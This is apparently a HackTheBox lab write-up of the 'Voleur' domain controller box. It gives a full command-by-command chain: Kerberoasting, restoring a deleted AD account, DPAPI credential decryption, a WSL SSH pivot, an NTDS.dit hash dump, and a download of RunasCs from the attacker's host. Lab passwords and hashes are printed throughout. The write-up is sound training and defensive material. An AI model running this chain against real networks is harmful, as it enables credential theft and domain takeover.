The server trusted the algorithm field from the token itself. An attacker sets "alg":"none", drops the signature, and the server accepts it as valid. Always enforce a specific algorithm server-side and never accept what the token says.

4. nodes/proxy in Kubernetes is cluster admin in disguise
This single permission lets you proxy directly to the kubelet on any node, exec into any pod, read any secret in any running container. It should appear on no service account that isn’t explicitly meant to manage the cluster.

5. Quote escaping across multiple layers needs file-based payloads
Curl -> JSON -> Python -> bash: four layers of escaping where a single wrong character breaks the whole chain. Writing the payload to a file and using -d @file.json removes the problem entirely. Use files for complex payloads.

6. Privileged pods with host path mounts are a complete container escape
The node exporter pod was privileged and had / mounted from the host. Once you exec into it, there is no container boundary. You’re reading the host filesystem directly. Monitoring workloads should never run privileged unless there is absolutely no alternative, and even then they shouldn’t mount /.

HTB Voleur

Difficulty: Medium
OS: Windows Server 2022 (Domain Controller) + WSL Ubuntu
Platform: HackTheBox
Category: Active Directory
Status: Retired

Overview

Voleur is a Windows DC box where NTLM is completely disabled and every single tool needs Kerberos tickets(This was quite something for me and i really enjoyed this box). What makes this box stand out is that someone on the IT team stored a password-protected Excel spreadsheet on an internal share that documents every service account password, every user permission, and even notes about who to talk to for what. That spreadsheet is the blueprint for the entire chain. From there it’s Kerberoasting, tombstone restoration, DPAPI decryption, WSL pivot, and a secretsdump from a backup of NTDS.dit.

Reconnaissance

Starting Credentials

Given: ryan.naylor:HollowOct31Nyt

nxc smb 10.129.232.130 -u 'ryan.naylor' -p 'HollowOct31Nyt' --shares
# STATUS_NOT_SUPPORTED

NTLM is disabled domain-wide. Every interaction from here needs a Kerberos ticket.

Port Scan

nmap -sV -sC -T4 -p- --min-rate 10000 10.129.232.130

PORT     STATE SERVICE
53/tcp   open  dns
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds
2222/tcp open  OpenSSH 8.2p1 (Ubuntu)
5985/tcp open  WinRM

Port 2222 running Ubuntu SSH on a Windows DC is WSL (Windows Subsystem for Linux). Filed for later — that becomes the final pivot point.

Kerberos Setup

Since NTLM is disabled, every tool needs proper Kerberos configuration and a valid TGT before it’ll do anything:

echo "10.129.232.130 dc.voleur.htb voleur.htb dc" | sudo tee -a /etc/hosts

sudo tee /etc/krb5.conf << 'EOF'
[libdefaults]
 dns_lookup_kdc = false
 dns_lookup_realm = false
 default_realm = VOLEUR.HTB
[realms]
 VOLEUR.HTB = {
  kdc = dc.voleur.htb
  admin_server = dc.voleur.htb
  default_domain = voleur.htb
 }
[domain_realm]
 .voleur.htb = VOLEUR.HTB
 voleur.htb = VOLEUR.HTB
EOF

faketime '2026-06-26 00:36:00' impacket-getTGT \
  voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip 10.129.232.130

export KRB5CCNAME=ryan.naylor.ccache

faketime throughout because ntpdate kept syncing the clock but Kali reverted it. Wrapping individual commands is cleaner than fighting the system clock.

SMB Enumeration with Kerberos

faketime '2026-06-26 00:38:00' nxc smb dc.voleur.htb -k --use-kcache --shares

Shares with READ access: Finance, HR, IT.

faketime '2026-06-26 00:39:00' nxc smb dc.voleur.htb -k --use-kcache \
  --spider IT --regex . --depth 3

Found: IT/First-Line Support/Access_Review.xlsx

The Blueprint — Cracking the Excel File

Downloading the File

Standard smbclient with password auth fails because NTLM is disabled. nxc with -k handles Kerberos properly:

faketime '2026-06-26 00:58:00' nxc smb dc.voleur.htb \
  -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k \
  --share IT --get-file 'First-Line Support\Access_Review.xlsx' Access_Review.xlsx

Cracking the Password

office2john Access_Review.xlsx > access.hash
john access.hash --wordlist=/usr/share/wordlists/rockyou.txt
# football1

Using LibreOffic Calc, we view the document

What’s Inside

The spreadsheet documented the entire support team structure, permissions, and credentials:

This spreadsheet mapped every step. Whoever put this on a shared drive handed us the domain.

Lateral Movement — Kerberoasting svc_winrm

BloodHound

bloodhound-python -d voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' \
  -ns 10.129.232.130 -c All --zip

Key finding: svc_ldap has WriteSPN over svc_winrm. Add an SPN to svc_winrm, Kerberoast it, crack offline.

Getting svc_ldap’s TGT

NTLM disabled means we need a ticket even to modify AD objects:

faketime '2026-06-26 01:30:00' impacket-getTGT \
  voleur.htb/svc_ldap -dc-ip 10.129.232.130
# Password: M1XyC9pW7qT5Vn
export KRB5CCNAME=svc_ldap.ccache

Finding the Correct DN

Service accounts aren’t always in CN=Users. Always verify before modifying:

faketime '2026-06-26 01:35:00' bloodyad -d voleur.htb -u 'svc_ldap' \
  -p 'M1XyC9pW7qT5Vn' --host dc.voleur.htb -k \
  get object 'svc_winrm' --attr '*'
# CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb

Adding the SPN and Kerberoasting

faketime '2026-06-26 01:37:00' bloodyad -d voleur.htb -u 'svc_ldap' \
  -p 'M1XyC9pW7qT5Vn' --host dc.voleur.htb -k \
  set object 'CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb' \
  servicePrincipalName -v 'HTTP/fake.voleur.htb'

faketime '2026-06-26 01:39:00' impacket-GetUserSPNs \
  voleur.htb/svc_ldap -k -no-pass \
  -dc-ip 10.129.232.130 -dc-host dc.voleur.htb \
  -request-user svc_winrm

hashcat -m 13100 svc_winrm.hash /usr/share/wordlists/rockyou.txt --force -O
# AFireInsidedeOzarctica980219afi

User Flag

faketime '2026-06-26 04:17:00' impacket-getTGT \
  voleur.htb/svc_winrm -dc-ip 10.129.232.130
export KRB5CCNAME=svc_winrm.ccache

faketime '2026-06-26 04:18:00' evil-winrm -i dc.voleur.htb -r VOLEUR.HTB

type C:\Users\svc_winrm\Desktop\user.txt
[REDACTED]

User flag captured. ✅

Lateral Movement — Todd’s Tombstone and DPAPI

Restoring Todd from the AD Tombstone

BloodHound showed svc_ldap is in the “Restore Users” group, meaning it can restore deleted AD objects. Todd Wolfe was a leaver whose account was deleted — but his password is in the spreadsheet.

svc_ldap can’t WinRM, but svc_winrm can. RunasCs lets us execute commands as svc_ldap from within the svc_winrm shell:

Invoke-WebRequest -Uri 'http://10.10.16.32:8080/RunasCs.exe' -OutFile 'RunasCs.exe'

.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "whoami"
# voleur\svc_ldap

.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Get-ADObject -Filter 'isDeleted -eq `$true' -IncludeDeletedObjects -Properties distinguishedName,Name -SearchBase 'CN=Deleted Objects,DC=voleur,DC=htb'"

.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Restore-ADObject 'CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb'"

Todd is back. Password from the spreadsheet: NightT1meP1dg3on14

Accessing Todd’s Archived Profile

When users leave, their data gets archived before the account is deleted. Todd’s profile was copied to IT/Second-Line Support/Archived Users/todd.wolfe/. Windows stores encrypted credentials in two specific locations:

• AppData\Roaming\Microsoft\Credentials — encrypted credential blobs
• AppData\Roaming\Microsoft\Protect\<SID> — DPAPI master keys that decrypt them

faketime '2026-06-26 04:25:00' impacket-getTGT \
  voleur.htb/todd.wolfe -dc-ip 10.129.232.130
# Password: NightT1meP1dg3on14
export KRB5CCNAME=todd.wolfe.ccache

faketime '2026-06-26 04:25:00' impacket-smbclient -k todd.wolfe@dc.voleur.htb

> use IT
> cd Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials
> get 772275FAD58525253490A9B0039791D3
> cd ../Protect/S-1-5-21-3927696377-1337352550-2781715495-1110
> get 08949382-134f-4c63-b93c-ce52efc0aa88

Decrypting DPAPI Credentials

impacket-dpapi masterkey \
  -file 08949382-134f-4c63-b93c-ce52efc0aa88 \
  -sid S-1-5-21-3927696377-1337352550-2781715495-1110 \
  -password NightT1meP1dg3on14

impacket-dpapi credential \
  -file 772275FAD58525253490A9B0039791D3 \
  -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

Output: jeremy.combs:qT3V9pLXyN7W4m

The spreadsheet said Jeremy has access to the Software folder and is the point of contact for svc_backup. That note just became a path to root.

Privilege Escalation — WSL and NTDS Backup

Jeremy’s Folder

faketime '2026-06-26 04:30:00' impacket-getTGT \
  voleur.htb/jeremy.combs -dc-ip 10.129.232.130
export KRB5CCNAME=jeremy.combs.ccache

faketime '2026-06-26 04:30:00' evil-winrm -i dc.voleur.htb -r VOLEUR.HTB

cd "C:\IT\Third-Line Support"
type Note.txt
# "I've had enough of Windows Backup! I've part configured WSL..."
download id_rsa

The note explains Admin was migrating from Windows Backup to Linux tools via WSL. Port 2222 from the initial nmap scan was the WSL SSH server. The SSH key was sitting right there.

SSH into WSL

chmod 600 id_rsa
ssh -i id_rsa svc_backup@10.129.232.130 -p 2222

Linux shell. On a Windows DC. WSL mounts the Windows filesystem under /mnt/c/ — the entire Windows drive is accessible from here.

Extracting the Backup Files

cd /mnt/c/IT/Third-Line\ Support/Backups/
ls
# Active Directory/   registry/

The NTDS.dit, SYSTEM, and SECURITY files from a Windows Backup were copied here during the migration to Linux tooling. Downloaded via SCP:

scp -i id_rsa -P 2222 \
  "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line\ Support/Backups/registry/SECURITY" ./SECURITY

scp -i id_rsa -P 2222 \
  "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line\ Support/Backups/registry/SYSTEM" ./SYSTEM

scp -i id_rsa -P 2222 \
  "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line\ Support/Backups/Active\ Directory/ntds.dit" ./ntds.dit

Dumping the Hashes

impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::

Root Flag

faketime '2026-06-26 04:45:00' impacket-getTGT \
  voleur.htb/administrator \
  -hashes :e656e07c56d831611b577b160b259ad2 \
  -dc-ip 10.129.232.130
export KRB5CCNAME=administrator.ccache

faketime '2026-06-26 05:32:00' evil-winrm -i dc.voleur.htb -r VOLEUR.HTB

type C:\Users\Administrator\Desktop\root.txt
[REDACTED]

Root flag captured. Domain pwned. ✅

Full Attack Chain

ryan.naylor:HollowOct31Nyt (given)
  |
  Kerberos TGT -> IT share -> Access_Review.xlsx
  -> crack (football1) -> blueprint for entire chain
     |
     svc_ldap:M1XyC9pW7qT5Vn (from spreadsheet)
       |
       WriteSPN over svc_winrm -> add SPN -> Kerberoast
       -> AFireInsidedeOzarctica980219afi
          |
          evil-winrm -> USER FLAG
          |
          svc_ldap in "Restore Users" -> RunasCs from svc_winrm shell
          -> Restore Todd.Wolfe from tombstone (NightT1meP1dg3on14)
             |
             Todd's archived profile -> DPAPI masterkey + credential blob
             -> decrypt -> jeremy.combs:qT3V9pLXyN7W4m
                |
                C:\IT\Third-Line Support\ -> Note.txt + id_rsa
                -> SSH svc_backup@WSL:2222
                   |
                   /mnt/c/ -> NTDS.dit + SYSTEM + SECURITY
                   -> secretsdump -> Administrator hash -> ROOT FLAG

Credentials Found

What Did We Learn?

1. NTLM disabled means Kerberos for literally everything
Every tool needed -k flags, a valid TGT, and a proper /etc/krb5.conf before it would touch the domain. This is increasingly common in hardened enterprise environments. Getting comfortable with Kerberos-only auth is no longer optional.

2. An internal spreadsheet can be a complete attack blueprint
Service account passwords, user permissions, and operational notes all in one password-protected Excel file on a readable share. The password protecting it was football1. Everything after cracking that file was execution, not discovery.

3. Deleted AD objects are not gone
Tombstoned users persist in CN=Deleted Objects for a configurable period (default 180 days). If you know their password and someone has the Restore Users privilege, they come back. Todd’s archived profile surviving his account deletion led directly to Jeremy’s credentials.

4. DPAPI secrets survive account deletion
Windows encrypts stored credentials with keys tied to the user’s password and SID. When an account is archived rather than wiped, the credential blobs and master keys in AppData\Roaming\Microsoft stay readable with the original password.

5. The “Restore Users” group is a dangerous privilege
Membership lets you revive deleted objects, inheriting their old group memberships and permissions. It should be treated like a privileged group and audited accordingly.

6. WSL blurs the Windows and Linux boundary completely
An SSH server on port 2222 running Ubuntu on a Windows DC gave us a Linux shell with full access to C:\ through /mnt/c/. Backup files that were locked to Windows backup APIs became freely copyable via SCP from the WSL side. If WSL is running on a DC, assume the filesystem is accessible.

7. faketime is more reliable than fighting ntpdate
Kali’s clock kept reverting after ntpdate. Wrapping Kerberos commands in faketime with the correct DC time bypassed the whole problem. For boxes with Kerberos-only auth, this becomes a workflow you need to have ready from the start.